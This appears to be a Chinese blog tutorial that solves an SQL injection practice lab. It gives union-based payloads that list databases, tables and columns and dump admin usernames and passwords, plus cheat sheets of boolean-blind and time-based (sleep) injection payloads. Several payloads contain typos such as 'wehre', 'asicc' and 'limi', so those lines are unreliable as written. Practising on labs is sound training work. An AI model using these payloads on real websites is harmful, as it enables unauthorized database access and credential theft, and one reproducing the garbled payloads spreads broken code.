当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
SQL 注入靶场练习实例
0x01 介绍
0x02 操作步骤
0x03 最后简单总结一下爆Mysql 数据库基本的爆法
0x04 手工盲注常见操作步骤
0x05 总结延时注入操作步骤
为了加强之前所学的东西,CE现在要多练练靶场,后续的教程差不多会是以靶场为主
【实例1】靶场传送门:http://59.63.200.79:8003/
拿到一个SQL注入的靶场,看着有点可爱哟,可爱的小猫咪。说是SQL注入靶场,那我们应该寻找带有参数的地方,尝试注入,下面看到一个蓝色的【点击查看新闻1】链接,对就是干它
这是进入【点击查看新闻1】链接后的画面,我们可以看到这里是带有参数的,哈哈!那就开干
CE这里使用的是HackBar 工具来调试注入,首先我们【Load URL】一下,把URL复制进入HackBar 文本框内
还记得之前我们之前学习SQL注入时说的拿到注入点,该怎么办,然后再怎么办嘛?此处不讲解,有遗忘的朋友,清前往观看以往的SQL注入教程。
1. 首先加个单引号,判断是否存在SQL注入,为什么要用单引号呢? 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。 (如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入)
很明显,页面返回的内容是不正常的
2. 然后,判断是数字型注入?还是字符型注入?
payload如下:
数字型判断
?id=1 and 1=1
?id=2 and 1=2
字符型判断
?id=1' and '1'='1
?id=1' and '1'='2
数字型判断
and 1=2 时页面返回不正常
知道哪里是什么类型的注入后,我们使用order by 猜解数据库字段长度
最后得出,只有2个字段,因为order by 3 时,页面返回不正常
3. 得出字段长度后,我们可以获取数据库名称,数据库
• database() 返回当前网站使用数据库的名称
• user() 将会返回当前查询的用户名
• version() 获取当前数据库版本
• @@version_compile_os 获取当前操作系统
在获取数据库名称、用户名、数据库版本、当前操作系统之前,先看看哪个字段是存在注入点的
可以看到是页面返回2,那就是第2个字段存在注入
获取到的数据库名称、当前用户名、数据库版本、当前操作系统版本信息如下
• 数据库名称:maoshe
• 当前用户名:maoshe@localhost
• 数据库版本:5.5.53
• 当前操作系统版本:Win32
4. 试试看看能不呢爆出其它数据库,这里我们使用group_concat 函数来查询所有数据库名称
?id=1 and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata
当然也有一些PY比较痛的大胸弟喜欢一个个手动去爆,例如下面的payload 一个个用limit 0,1、limit 1,2、limit 2,3... ...直到出现错误或异常为止,看着我都眼镜都疼... ...
?id=1 and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata limit 0,1
5. 爆对应数据库的表
?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='maoshe'
或
注:这里的database()
函数进行了数据库查询,因为我们已经查到了当前的数据库为maoshe
,所有这里还可以酱紫写,用单引号括把数据库的名称括起来'maoshe'
?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
这里也列出,手工淡腾爆表法
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe' limit 0,1
6. 猜解字段名
?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'
注:这里一样可以使用limit 一个个列字段名
7. 爆列名内容
?id=1 and 1=2 union select 1,group_concat(Id,username,password) from admin
或手工一个个爆出来
爆Id
爆账号名
爆密码
order by –+ 判断字段数目
union select –+ 联合查询收集信息
id=1′ and 1=2 UNION SELECT 1,2,database() –+ 查询当前数据库
id=1′ and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata –+查询所有数据库
id=1′ and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() –+ 查询表名
id=1′ and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ –+ 查询列名
id=1′ and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users –+ 查询字段值
• left(database(),1) 返回 database()的最左面 1 个字符
• length(databse()) 返回数据库的长度
• substr(a,b,c) 从 b 位置开始,截取字符串 a 的 c 长度
• ascii() 将某个字符转换为 ascii 值
• mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
手工盲注实例传送门:https://blog.csdn.net/God_XiangYu/article/details/95523203
PS:如下*号地方都是自己填写的数字或名称,我只是已*号代替
1. 判断数据库版本号左边开头数字
?id=1’ and left(version(),1)=5 --+
2. 判断数据库名称长度
?id=1’ and length(version())=* --+
3. 猜解数据库名称
?id=1’ and left(version(),1)> ’*’ --+
4. 猜解表名
?id=1’ and ascii(substr((select table_name from information_schema.tables wehre table_schema=database() limit 0,1),1,1)) >100 --+
5. 猜解列名
id=1’ and asicc(substr((select table_column from information_schema.columns where table_schema=’数据库名’ and table_name=’表名’ limit 0,1),1,1)) > 99 --+
6. 判断表是否不存在
?id=1’ and 1=(select 1 from information_schema.columns where table_name=’表名’ and column_name regexp ’^username’ limit 0,1) > 97 --+
7. 表存在,获取表的内容
?id=1’ and ord(mid((select ifnull(cast(username as char),0x20)from 数据库名.表名 order by id limi 0,1),1,1)) =68 --+
1. 延时猜解数据库
?id=1’ and if(ascii(substr(database(),1,1)) = 110,1,sleep(7)) --+
2. 延时猜解表
?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’数据库名’ limit 0,1),1,1)) =107,1,sleep(4))--+
3. 延时猜解列
?id=1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=’表名’ limit 0,1),1,1)) = 103,1,sleep(5))--+
4. 延时猜解账号和密码
破解账号
?id=1’ and if(substr((select usernam from users limit 0,1),1,1)=67,1,sleep(8))--+
破解密码
?id=1’ and if(asicc(substr((select password from users limit 0,1),1,1))=65,1,sleep(8))--+
我不需要自由,只想背着她的梦
一步步向前走,她给的永远不重